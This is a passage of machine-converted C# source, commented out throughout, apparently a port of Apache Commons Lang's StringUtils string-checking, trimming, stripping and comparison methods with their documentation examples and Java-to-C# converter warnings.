////ORIGINAL LINE: public static boolean isAnyNotEmpty(final CharSequence... css) //public static bool isAnyNotEmpty(params CharSequence[] css) //{ // if (ArrayUtils.isEmpty(css)) // { // return false; // } // foreach (CharSequence cs in css) // { // if (isNotEmpty(cs)) // { // return true; // } // } // return false; //} ///// <summary> ///// <para>Checks if none of the CharSequences are empty ("") or null.</para> ///// ///// <pre> ///// StringUtils.isNoneEmpty(null) = false ///// StringUtils.isNoneEmpty(null, "foo") = false ///// StringUtils.isNoneEmpty("", "bar") = false ///// StringUtils.isNoneEmpty("bob", "") = false ///// StringUtils.isNoneEmpty(" bob ", null) = false ///// StringUtils.isNoneEmpty(new String[] {}) = false ///// StringUtils.isNoneEmpty(" ", "bar") = true ///// StringUtils.isNoneEmpty("foo", "bar") = true ///// </pre> ///// </summary> ///// <param name="css"> the CharSequences to check, may be null or empty </param> ///// <returns> {@code true} if none of the CharSequences are empty or null ///// @since 3.2 </returns> ////JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: ////ORIGINAL LINE: public static boolean isNoneEmpty(final CharSequence... css) //public static bool isNoneEmpty(params CharSequence[] css) //{ // return !isAnyEmpty(css); //} // /// <summary> // /// <para>Checks if a CharSequence is empty (""), null or whitespace only.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// // /// <pre> // /// StringUtils.isBlank(null) = true // /// StringUtils.isBlank("") = true // /// StringUtils.isBlank(" ") = true // /// StringUtils.isBlank("bob") = false // /// StringUtils.isBlank(" bob ") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if the CharSequence is null, empty or whitespace only // /// @since 2.0 // /// @since 3.0 Changed signature from isBlank(String) to isBlank(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isBlank(final CharSequence cs) // public static bool isBlank(CharSequence cs) // { // int strLen; // if (cs == null || (strLen = cs.length()) == 0) // { // return true; // } // for (int i = 0; i < strLen; i++) // { // if (char.IsWhiteSpace(cs.charAt(i)) == false) // { // return false; // } // } // return true; // } // /// <summary> // /// <para>Checks if a CharSequence is not empty (""), not null and not whitespace only.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// // /// <pre> // /// StringUtils.isNotBlank(null) = false // /// StringUtils.isNotBlank("") = false // /// StringUtils.isNotBlank(" ") = false // /// StringUtils.isNotBlank("bob") = true // /// StringUtils.isNotBlank(" bob ") = true // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <returns> {@code true} if the CharSequence is // /// not empty and not null and not whitespace only // /// @since 2.0 // /// @since 3.0 Changed signature from isNotBlank(String) to isNotBlank(CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isNotBlank(final CharSequence cs) // public static bool isNotBlank(CharSequence cs) // { // return !isBlank(cs); // } // /// <summary> // /// <para>Checks if any of the CharSequences are empty ("") or null or whitespace only.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// // /// <pre> // /// StringUtils.isAnyBlank(null) = true // /// StringUtils.isAnyBlank(null, "foo") = true // /// StringUtils.isAnyBlank(null, null) = true // /// StringUtils.isAnyBlank("", "bar") = true // /// StringUtils.isAnyBlank("bob", "") = true // /// StringUtils.isAnyBlank(" bob ", null) = true // /// StringUtils.isAnyBlank(" ", "bar") = true // /// StringUtils.isAnyBlank(new String[] {}) = false // /// StringUtils.isAnyBlank("foo", "bar") = false // /// </pre> // /// </summary> // /// <param name="css"> the CharSequences to check, may be null or empty </param> // /// <returns> {@code true} if any of the CharSequences are empty or null or whitespace only // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAnyBlank(final CharSequence... css) // public static bool isAnyBlank(params CharSequence[] css) // { // if (ArrayUtils.isEmpty(css)) // { // return false; // } // foreach (CharSequence cs in css) // { // if (isBlank(cs)) // { // return true; // } // } // return false; // } // /// <summary> // /// <para>Checks if any of the CharSequences are not empty (""), not null and not whitespace only.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// // /// <pre> // /// StringUtils.isAnyNotBlank(null) = false // /// StringUtils.isAnyNotBlank(null, "foo") = true // /// StringUtils.isAnyNotBlank(null, null) = false // /// StringUtils.isAnyNotBlank("", "bar") = true // /// StringUtils.isAnyNotBlank("bob", "") = true // /// StringUtils.isAnyNotBlank(" bob ", null) = true // /// StringUtils.isAnyNotBlank(" ", "bar") = true // /// StringUtils.isAnyNotBlank("foo", "bar") = true // /// StringUtils.isAnyNotBlank(new String[] {}) = false // /// </pre> // /// </summary> // /// <param name="css"> the CharSequences to check, may be null or empty </param> // /// <returns> {@code true} if any of the CharSequences are not empty and not null and not whitespace only // /// @since 3.6 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAnyNotBlank(final CharSequence... css) // public static bool isAnyNotBlank(params CharSequence[] css) // { // if (ArrayUtils.isEmpty(css)) // { // return false; // } // foreach (CharSequence cs in css) // { // if (isNotBlank(cs)) // { // return true; // } // } // return false; // } // /// <summary> // /// <para>Checks if none of the CharSequences are empty (""), null or whitespace only.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// // /// <pre> // /// StringUtils.isNoneBlank(null) = false // /// StringUtils.isNoneBlank(null, "foo") = false // /// StringUtils.isNoneBlank(null, null) = false // /// StringUtils.isNoneBlank("", "bar") = false // /// StringUtils.isNoneBlank("bob", "") = false // /// StringUtils.isNoneBlank(" bob ", null) = false // /// StringUtils.isNoneBlank(" ", "bar") = false // /// StringUtils.isNoneBlank(new String[] {}) = false // /// StringUtils.isNoneBlank("foo", "bar") = true // /// </pre> // /// </summary> // /// <param name="css"> the CharSequences to check, may be null or empty </param> // /// <returns> {@code true} if none of the CharSequences are empty or null or whitespace only // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isNoneBlank(final CharSequence... css) // public static bool isNoneBlank(params CharSequence[] css) // { // return !isAnyBlank(css); // } // // Trim // //----------------------------------------------------------------------- // /// <summary> // /// <para>Removes control characters (char &lt;= 32) from both // /// ends of this String, handling {@code null} by returning // /// {@code null}.</para> // /// // /// <para>The String is trimmed using <seealso cref="String#trim()"/>. // /// Trim removes start and end characters &lt;= 32. // /// To strip whitespace use <seealso cref="#strip(String)"/>.</para> // /// // /// <para>To trim your choice of characters, use the // /// <seealso cref="#strip(String, String)"/> methods.</para> // /// // /// <pre> // /// StringUtils.trim(null) = null // /// StringUtils.trim("") = "" // /// StringUtils.trim(" ") = "" // /// StringUtils.trim("abc") = "abc" // /// StringUtils.trim(" abc ") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to be trimmed, may be null </param> // /// <returns> the trimmed string, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String trim(final String str) // public static string trim(string str) // { // return string.ReferenceEquals(str, null) ? null : str.Trim(); // } // /// <summary> // /// <para>Removes control characters (char &lt;= 32) from both // /// ends of this String returning {@code null} if the String is // /// empty ("") after the trim or if it is {@code null}. // /// // /// </para> // /// <para>The String is trimmed using <seealso cref="String#trim()"/>. // /// Trim removes start and end characters &lt;= 32. // /// To strip whitespace use <seealso cref="#stripToNull(String)"/>.</para> // /// // /// <pre> // /// StringUtils.trimToNull(null) = null // /// StringUtils.trimToNull("") = null // /// StringUtils.trimToNull(" ") = null // /// StringUtils.trimToNull("abc") = "abc" // /// StringUtils.trimToNull(" abc ") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to be trimmed, may be null </param> // /// <returns> the trimmed String, // /// {@code null} if only chars &lt;= 32, empty or null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String trimToNull(final String str) // public static string trimToNull(string str) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String ts = trim(str); // string ts = trim(str); // return isEmpty(ts) ? null : ts; // } // /// <summary> // /// <para>Removes control characters (char &lt;= 32) from both // /// ends of this String returning an empty String ("") if the String // /// is empty ("") after the trim or if it is {@code null}. // /// // /// </para> // /// <para>The String is trimmed using <seealso cref="String#trim()"/>. // /// Trim removes start and end characters &lt;= 32. // /// To strip whitespace use <seealso cref="#stripToEmpty(String)"/>.</para> // /// // /// <pre> // /// StringUtils.trimToEmpty(null) = "" // /// StringUtils.trimToEmpty("") = "" // /// StringUtils.trimToEmpty(" ") = "" // /// StringUtils.trimToEmpty("abc") = "abc" // /// StringUtils.trimToEmpty(" abc ") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to be trimmed, may be null </param> // /// <returns> the trimmed String, or an empty String if {@code null} input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String trimToEmpty(final String str) // public static string trimToEmpty(string str) // { // return string.ReferenceEquals(str, null) ? EMPTY : str.Trim(); // } // /// <summary> // /// <para>Truncates a String. This will turn // /// "Now is the time for all good men" into "Now is the time for".</para> // /// // /// <para>Specifically:</para> // /// <ul> // /// <li>If {@code str} is less than {@code maxWidth} characters // /// long, return it.</li> // /// <li>Else truncate it to {@code substring(str, 0, maxWidth)}.</li> // /// <li>If {@code maxWidth} is less than {@code 0}, throw an // /// {@code IllegalArgumentException}.</li> // /// <li>In no case will it return a String of length greater than // /// {@code maxWidth}.</li> // /// </ul> // /// // /// <pre> // /// StringUtils.truncate(null, 0) = null // /// StringUtils.truncate(null, 2) = null // /// StringUtils.truncate("", 4) = "" // /// StringUtils.truncate("abcdefg", 4) = "abcd" // /// StringUtils.truncate("abcdefg", 6) = "abcdef" // /// StringUtils.truncate("abcdefg", 7) = "abcdefg" // /// StringUtils.truncate("abcdefg", 8) = "abcdefg" // /// StringUtils.truncate("abcdefg", -1) = throws an IllegalArgumentException // /// </pre> // /// </summary> // /// <param name="str"> the String to truncate, may be null </param> // /// <param name="maxWidth"> maximum length of result String, must be positive </param> // /// <returns> truncated String, {@code null} if null String input // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String truncate(final String str, final int maxWidth) // public static string truncate(string str, int maxWidth) // { // return truncate(str, 0, maxWidth); // } // /// <summary> // /// <para>Truncates a String. This will turn // /// "Now is the time for all good men" into "is the time for all".</para> // /// // /// <para>Works like {@code truncate(String, int)}, but allows you to specify // /// a "left edge" offset. // /// // /// </para> // /// <para>Specifically:</para> // /// <ul> // /// <li>If {@code str} is less than {@code maxWidth} characters // /// long, return it.</li> // /// <li>Else truncate it to {@code substring(str, offset, maxWidth)}.</li> // /// <li>If {@code maxWidth} is less than {@code 0}, throw an // /// {@code IllegalArgumentException}.</li> // /// <li>If {@code offset} is less than {@code 0}, throw an // /// {@code IllegalArgumentException}.</li> // /// <li>In no case will it return a String of length greater than // /// {@code maxWidth}.</li> // /// </ul> // /// // /// <pre> // /// StringUtils.truncate(null, 0, 0) = null // /// StringUtils.truncate(null, 2, 4) = null // /// StringUtils.truncate("", 0, 10) = "" // /// StringUtils.truncate("", 2, 10) = "" // /// StringUtils.truncate("abcdefghij", 0, 3) = "abc" // /// StringUtils.truncate("abcdefghij", 5, 6) = "fghij" // /// StringUtils.truncate("raspberry peach", 10, 15) = "peach" // /// StringUtils.truncate("abcdefghijklmno", 0, 10) = "abcdefghij" // /// StringUtils.truncate("abcdefghijklmno", -1, 10) = throws an IllegalArgumentException // /// StringUtils.truncate("abcdefghijklmno", Integer.MIN_VALUE, 10) = "abcdefghij" // /// StringUtils.truncate("abcdefghijklmno", Integer.MIN_VALUE, Integer.MAX_VALUE) = "abcdefghijklmno" // /// StringUtils.truncate("abcdefghijklmno", 0, Integer.MAX_VALUE) = "abcdefghijklmno" // /// StringUtils.truncate("abcdefghijklmno", 1, 10) = "bcdefghijk" // /// StringUtils.truncate("abcdefghijklmno", 2, 10) = "cdefghijkl" // /// StringUtils.truncate("abcdefghijklmno", 3, 10) = "defghijklm" // /// StringUtils.truncate("abcdefghijklmno", 4, 10) = "efghijklmn" // /// StringUtils.truncate("abcdefghijklmno", 5, 10) = "fghijklmno" // /// StringUtils.truncate("abcdefghijklmno", 5, 5) = "fghij" // /// StringUtils.truncate("abcdefghijklmno", 5, 3) = "fgh" // /// StringUtils.truncate("abcdefghijklmno", 10, 3) = "klm" // /// StringUtils.truncate("abcdefghijklmno", 10, Integer.MAX_VALUE) = "klmno" // /// StringUtils.truncate("abcdefghijklmno", 13, 1) = "n" // /// StringUtils.truncate("abcdefghijklmno", 13, Integer.MAX_VALUE) = "no" // /// StringUtils.truncate("abcdefghijklmno", 14, 1) = "o" // /// StringUtils.truncate("abcdefghijklmno", 14, Integer.MAX_VALUE) = "o" // /// StringUtils.truncate("abcdefghijklmno", 15, 1) = "" // /// StringUtils.truncate("abcdefghijklmno", 15, Integer.MAX_VALUE) = "" // /// StringUtils.truncate("abcdefghijklmno", Integer.MAX_VALUE, Integer.MAX_VALUE) = "" // /// StringUtils.truncate("abcdefghij", 3, -1) = throws an IllegalArgumentException // /// StringUtils.truncate("abcdefghij", -2, 4) = throws an IllegalArgumentException // /// </pre> // /// </summary> // /// <param name="str"> the String to check, may be null </param> // /// <param name="offset"> left edge of source String </param> // /// <param name="maxWidth"> maximum length of result String, must be positive </param> // /// <returns> truncated String, {@code null} if null String input // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String truncate(final String str, final int offset, final int maxWidth) // public static string truncate(string str, int offset, int maxWidth) // { // if (offset < 0) // { // throw new System.ArgumentException("offset cannot be negative"); // } // if (maxWidth < 0) // { // throw new System.ArgumentException("maxWith cannot be negative"); // } // if (string.ReferenceEquals(str, null)) // { // return null; // } // if (offset > str.Length) // { // return EMPTY; // } // if (str.Length > maxWidth) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int ix = offset + maxWidth > str.length() ? str.length() : offset + maxWidth; // int ix = offset + maxWidth > str.Length ? str.Length : offset + maxWidth; // return str.Substring(offset, ix - offset); // } // return str.Substring(offset); // } // // Stripping // //----------------------------------------------------------------------- // /// <summary> // /// <para>Strips whitespace from the start and end of a String.</para> // /// // /// <para>This is similar to <seealso cref="#trim(String)"/> but removes whitespace. // /// Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.strip(null) = null // /// StringUtils.strip("") = "" // /// StringUtils.strip(" ") = "" // /// StringUtils.strip("abc") = "abc" // /// StringUtils.strip(" abc") = "abc" // /// StringUtils.strip("abc ") = "abc" // /// StringUtils.strip(" abc ") = "abc" // /// StringUtils.strip(" ab c ") = "ab c" // /// </pre> // /// </summary> // /// <param name="str"> the String to remove whitespace from, may be null </param> // /// <returns> the stripped String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String strip(final String str) // public static string strip(string str) // { // return strip(str, null); // } // /// <summary> // /// <para>Strips whitespace from the start and end of a String returning // /// {@code null} if the String is empty ("") after the strip.</para> // /// // /// <para>This is similar to <seealso cref="#trimToNull(String)"/> but removes whitespace. // /// Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <pre> // /// StringUtils.stripToNull(null) = null // /// StringUtils.stripToNull("") = null // /// StringUtils.stripToNull(" ") = null // /// StringUtils.stripToNull("abc") = "abc" // /// StringUtils.stripToNull(" abc") = "abc" // /// StringUtils.stripToNull("abc ") = "abc" // /// StringUtils.stripToNull(" abc ") = "abc" // /// StringUtils.stripToNull(" ab c ") = "ab c" // /// </pre> // /// </summary> // /// <param name="str"> the String to be stripped, may be null </param> // /// <returns> the stripped String, // /// {@code null} if whitespace, empty or null String input // /// @since 2.0 </returns> // public static string stripToNull(string str) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // str = strip(str, null); // return str.Length == 0 ? null : str; // } // /// <summary> // /// <para>Strips whitespace from the start and end of a String returning // /// an empty String if {@code null} input.</para> // /// // /// <para>This is similar to <seealso cref="#trimToEmpty(String)"/> but removes whitespace. // /// Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <pre> // /// StringUtils.stripToEmpty(null) = "" // /// StringUtils.stripToEmpty("") = "" // /// StringUtils.stripToEmpty(" ") = "" // /// StringUtils.stripToEmpty("abc") = "abc" // /// StringUtils.stripToEmpty(" abc") = "abc" // /// StringUtils.stripToEmpty("abc ") = "abc" // /// StringUtils.stripToEmpty(" abc ") = "abc" // /// StringUtils.stripToEmpty(" ab c ") = "ab c" // /// </pre> // /// </summary> // /// <param name="str"> the String to be stripped, may be null </param> // /// <returns> the trimmed String, or an empty String if {@code null} input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String stripToEmpty(final String str) // public static string stripToEmpty(string str) // { // return string.ReferenceEquals(str, null) ? EMPTY : strip(str, null); // } // /// <summary> // /// <para>Strips any of a set of characters from the start and end of a String. // /// This is similar to <seealso cref="String#trim()"/> but allows the characters // /// to be stripped to be controlled.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// An empty string ("") input returns the empty string.</para> // /// // /// <para>If the stripChars String is {@code null}, whitespace is // /// stripped as defined by <seealso cref="Character#isWhitespace(char)"/>. // /// Alternatively use <seealso cref="#strip(String)"/>.</para> // /// // /// <pre> // /// StringUtils.strip(null, *) = null // /// StringUtils.strip("", *) = "" // /// StringUtils.strip("abc", null) = "abc" // /// StringUtils.strip(" abc", null) = "abc" // /// StringUtils.strip("abc ", null) = "abc" // /// StringUtils.strip(" abc ", null) = "abc" // /// StringUtils.strip(" abcyx", "xyz") = " abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to remove characters from, may be null </param> // /// <param name="stripChars"> the characters to remove, null treated as whitespace </param> // /// <returns> the stripped String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String strip(String str, final String stripChars) // public static string strip(string str, string stripChars) // { // if (isEmpty(str)) // { // return str; // } // str = stripStart(str, stripChars); // return stripEnd(str, stripChars); // } // /// <summary> // /// <para>Strips any of a set of characters from the start of a String.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// An empty string ("") input returns the empty string.</para> // /// // /// <para>If the stripChars String is {@code null}, whitespace is // /// stripped as defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <pre> // /// StringUtils.stripStart(null, *) = null // /// StringUtils.stripStart("", *) = "" // /// StringUtils.stripStart("abc", "") = "abc" // /// StringUtils.stripStart("abc", null) = "abc" // /// StringUtils.stripStart(" abc", null) = "abc" // /// StringUtils.stripStart("abc ", null) = "abc " // /// StringUtils.stripStart(" abc ", null) = "abc " // /// StringUtils.stripStart("yxabc ", "xyz") = "abc " // /// </pre> // /// </summary> // /// <param name="str"> the String to remove characters from, may be null </param> // /// <param name="stripChars"> the characters to remove, null treated as whitespace </param> // /// <returns> the stripped String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String stripStart(final String str, final String stripChars) // public static string stripStart(string str, string stripChars) // { // int strLen; // if (string.ReferenceEquals(str, null) || (strLen = str.Length) == 0) // { // return str; // } // int start = 0; // if (string.ReferenceEquals(stripChars, null)) // { // while (start != strLen && char.IsWhiteSpace(str[start])) // { // start++; // } // } // else if (stripChars.Length == 0) // { // return str; // } // else // { // while (start != strLen && stripChars.IndexOf(str[start]) != INDEX_NOT_FOUND) // { // start++; // } // } // return str.Substring(start); // } // /// <summary> // /// <para>Strips any of a set of characters from the end of a String.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// An empty string ("") input returns the empty string.</para> // /// // /// <para>If the stripChars String is {@code null}, whitespace is // /// stripped as defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <pre> // /// StringUtils.stripEnd(null, *) = null // /// StringUtils.stripEnd("", *) = "" // /// StringUtils.stripEnd("abc", "") = "abc" // /// StringUtils.stripEnd("abc", null) = "abc" // /// StringUtils.stripEnd(" abc", null) = " abc" // /// StringUtils.stripEnd("abc ", null) = "abc" // /// StringUtils.stripEnd(" abc ", null) = " abc" // /// StringUtils.stripEnd(" abcyx", "xyz") = " abc" // /// StringUtils.stripEnd("120.00", ".0") = "12" // /// </pre> // /// </summary> // /// <param name="str"> the String to remove characters from, may be null </param> // /// <param name="stripChars"> the set of characters to remove, null treated as whitespace </param> // /// <returns> the stripped String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String stripEnd(final String str, final String stripChars) // public static string stripEnd(string str, string stripChars) // { // int end; // if (string.ReferenceEquals(str, null) || (end = str.Length) == 0) // { // return str; // } // if (string.ReferenceEquals(stripChars, null)) // { // while (end != 0 && char.IsWhiteSpace(str[end - 1])) // { // end--; // } // } // else if (stripChars.Length == 0) // { // return str; // } // else // { // while (end != 0 && stripChars.IndexOf(str[end - 1]) != INDEX_NOT_FOUND) // { // end--; // } // } // return str.Substring(0, end); // } // // StripAll // //----------------------------------------------------------------------- // /// <summary> // /// <para>Strips whitespace from the start and end of every String in an array. // /// Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <para>A new array is returned each time, except for length zero. // /// A {@code null} array will return {@code null}. // /// An empty array will return itself. // /// A {@code null} array entry will be ignored.</para> // /// // /// <pre> // /// StringUtils.stripAll(null) = null // /// StringUtils.stripAll([]) = [] // /// StringUtils.stripAll(["abc", " abc"]) = ["abc", "abc"] // /// StringUtils.stripAll(["abc ", null]) = ["abc", null] // /// </pre> // /// </summary> // /// <param name="strs"> the array to remove whitespace from, may be null </param> // /// <returns> the stripped Strings, {@code null} if null array input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] stripAll(final String... strs) // public static string[] stripAll(params string[] strs) // { // return stripAll(strs, null); // } // /// <summary> // /// <para>Strips any of a set of characters from the start and end of every // /// String in an array.</para> // /// <para>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <para>A new array is returned each time, except for length zero. // /// A {@code null} array will return {@code null}. // /// An empty array will return itself. // /// A {@code null} array entry will be ignored. // /// A {@code null} stripChars will strip whitespace as defined by // /// <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <pre> // /// StringUtils.stripAll(null, *) = null // /// StringUtils.stripAll([], *) = [] // /// StringUtils.stripAll(["abc", " abc"], null) = ["abc", "abc"] // /// StringUtils.stripAll(["abc ", null], null) = ["abc", null] // /// StringUtils.stripAll(["abc ", null], "yz") = ["abc ", null] // /// StringUtils.stripAll(["yabcz", null], "yz") = ["abc", null] // /// </pre> // /// </summary> // /// <param name="strs"> the array to remove characters from, may be null </param> // /// <param name="stripChars"> the characters to remove, null treated as whitespace </param> // /// <returns> the stripped Strings, {@code null} if null array input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] stripAll(final String[] strs, final String stripChars) // public static string[] stripAll(string[] strs, string stripChars) // { // int strsLen; // if (strs == null || (strsLen = strs.Length) == 0) // { // return strs; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String[] newArr = new String[strsLen]; // string[] newArr = new string[strsLen]; // for (int i = 0; i < strsLen; i++) // { // newArr[i] = strip(strs[i], stripChars); // } // return newArr; // } // /// <summary> // /// <para>Removes diacritics (~= accents) from a string. The case will not be altered.</para> // /// <para>For instance, '&agrave;' will be replaced by 'a'.</para> // /// <para>Note that ligatures will be left as is.</para> // /// // /// <pre> // /// StringUtils.stripAccents(null) = null // /// StringUtils.stripAccents("") = "" // /// StringUtils.stripAccents("control") = "control" // /// StringUtils.stripAccents("&eacute;clair") = "eclair" // /// </pre> // /// </summary> // /// <param name="input"> String to be stripped </param> // /// <returns> input text with diacritics removed // /// // /// @since 3.0 </returns> // // See also Lucene's ASCIIFoldingFilter (Lucene 2.9) that replaces accented characters by their unaccented equivalent (and uncommitted bug fix: https://issues.apache.org/jira/browse/LUCENE-1343?focusedCommentId=12858907&page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#action_12858907). // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String stripAccents(final String input) // public static string stripAccents(string input) // { // if (string.ReferenceEquals(input, null)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final java.util.regex.Pattern pattern = java.util.regex.Pattern.compile("\\p{InCombiningDiacriticalMarks}+"); // Pattern pattern = Pattern.compile("\\p{InCombiningDiacriticalMarks}+"); //$NON-NLS-1$ // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder decomposed = new StringBuilder(java.text.Normalizer.normalize(input, java.text.Normalizer.Form.NFD)); // StringBuilder decomposed = new StringBuilder(Normalizer.normalize(input, Normalizer.Form.NFD)); // convertRemainingAccentCharacters(decomposed); // // Note that this doesn't correctly remove ligatures... // return pattern.matcher(decomposed).replaceAll(StringUtils.EMPTY); // } // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static void convertRemainingAccentCharacters(final StringBuilder decomposed) // private static void convertRemainingAccentCharacters(StringBuilder decomposed) // { // for (int i = 0; i < decomposed.Length; i++) // { // if (decomposed[i] == '\u0141') // { // decomposed.Remove(i, 1); // decomposed.Insert(i, 'L'); // } // else if (decomposed[i] == '\u0142') // { // decomposed.Remove(i, 1); // decomposed.Insert(i, 'l'); // } // } // } // // Equals // //----------------------------------------------------------------------- // /// <summary> // /// <para>Compares two CharSequences, returning {@code true} if they represent // /// equal sequences of characters.</para> // /// // /// <para>{@code null}s are handled without exceptions. Two {@code null} // /// references are considered to be equal. The comparison is case sensitive.</para> // /// // /// <pre> // /// StringUtils.equals(null, null) = true // /// StringUtils.equals(null, "abc") = false // /// StringUtils.equals("abc", null) = false // /// StringUtils.equals("abc", "abc") = true // /// StringUtils.equals("abc", "ABC") = false // /// </pre> // /// </summary> // /// <seealso cref= Object#equals(Object) </seealso> // /// <param name="cs1"> the first CharSequence, may be {@code null} </param> // /// <param name="cs2"> the second CharSequence, may be {@code null} </param> // /// <returns> {@code true} if the CharSequences are equal (case-sensitive), or both {@code null} // /// @since 3.0 Changed signature from equals(String, String) to equals(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean equals(final CharSequence cs1, final CharSequence cs2) // public static bool Equals(CharSequence cs1, CharSequence cs2) // { // if (cs1 == cs2) // { // return true; // } // if (cs1 == null || cs2 == null) // { // return false; // } // if (cs1.length() != cs2.length()) // { // return false; // } // if (cs1 is string && cs2 is string) // { // return cs1.Equals(cs2); // } // return CharSequenceUtils.regionMatches(cs1, false, 0, cs2, 0, cs1.length()); // } // /// <summary> // /// <para>Compares two CharSequences, returning {@code true} if they represent // /// equal sequences of characters, ignoring case.</para> // /// // /// <para>{@code null}s are handled without exceptions. Two {@code null} // /// references are considered equal. Comparison is case insensitive.</para> // /// // /// <pre> // /// StringUtils.equalsIgnoreCase(null, null) = true // /// StringUtils.equalsIgnoreCase(null, "abc") = false // /// StringUtils.equalsIgnoreCase("abc", null) = false // /// StringUtils.equalsIgnoreCase("abc", "abc") = true // /// StringUtils.equalsIgnoreCase("abc", "ABC") = true // /// </pre> // /// </summary> // /// <param name="str1"> the first CharSequence, may be null </param> // /// <param name="str2"> the second CharSequence, may be null </param> // /// <returns> {@code true} if the CharSequence are equal, case insensitive, or // /// both {@code null} // /// @since 3.0 Changed signature from equalsIgnoreCase(String, String) to equalsIgnoreCase(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean equalsIgnoreCase(final CharSequence str1, final CharSequence str2) // public static bool equalsIgnoreCase(CharSequence str1, CharSequence str2) // { // if (str1 == null || str2 == null) // { // return str1 == str2; // } // else if (str1 == str2) // { // return true; // } // else if (str1.length() != str2.length()) // { // return false; // } // else // { // return CharSequenceUtils.regionMatches(str1, true, 0, str2, 0, str1.length()); // } // } // // Compare // //----------------------------------------------------------------------- // /// <summary> // /// <para>Compare two Strings lexicographically, as per <seealso cref="String#compareTo(String)"/>, returning :</para> // /// <ul> // /// <li>{@code int = 0}, if {@code str1} is equal to {@code str2} (or both {@code null})</li> // /// <li>{@code int < 0}, if {@code str1} is less than {@code str2}</li> // /// <li>{@code int > 0}, if {@code str1} is greater than {@code str2}</li> // /// </ul> // /// // /// <para>This is a {@code null} safe version of :</para> // /// <blockquote><pre>str1.compareTo(str2)</pre></blockquote> // /// // /// <para>{@code null} value is considered less than non-{@code null} value. // /// Two {@code null} references are considered equal.</para> // /// // /// <pre> // /// StringUtils.compare(null, null) = 0 // /// StringUtils.compare(null , "a") &lt; 0 // /// StringUtils.compare("a", null) 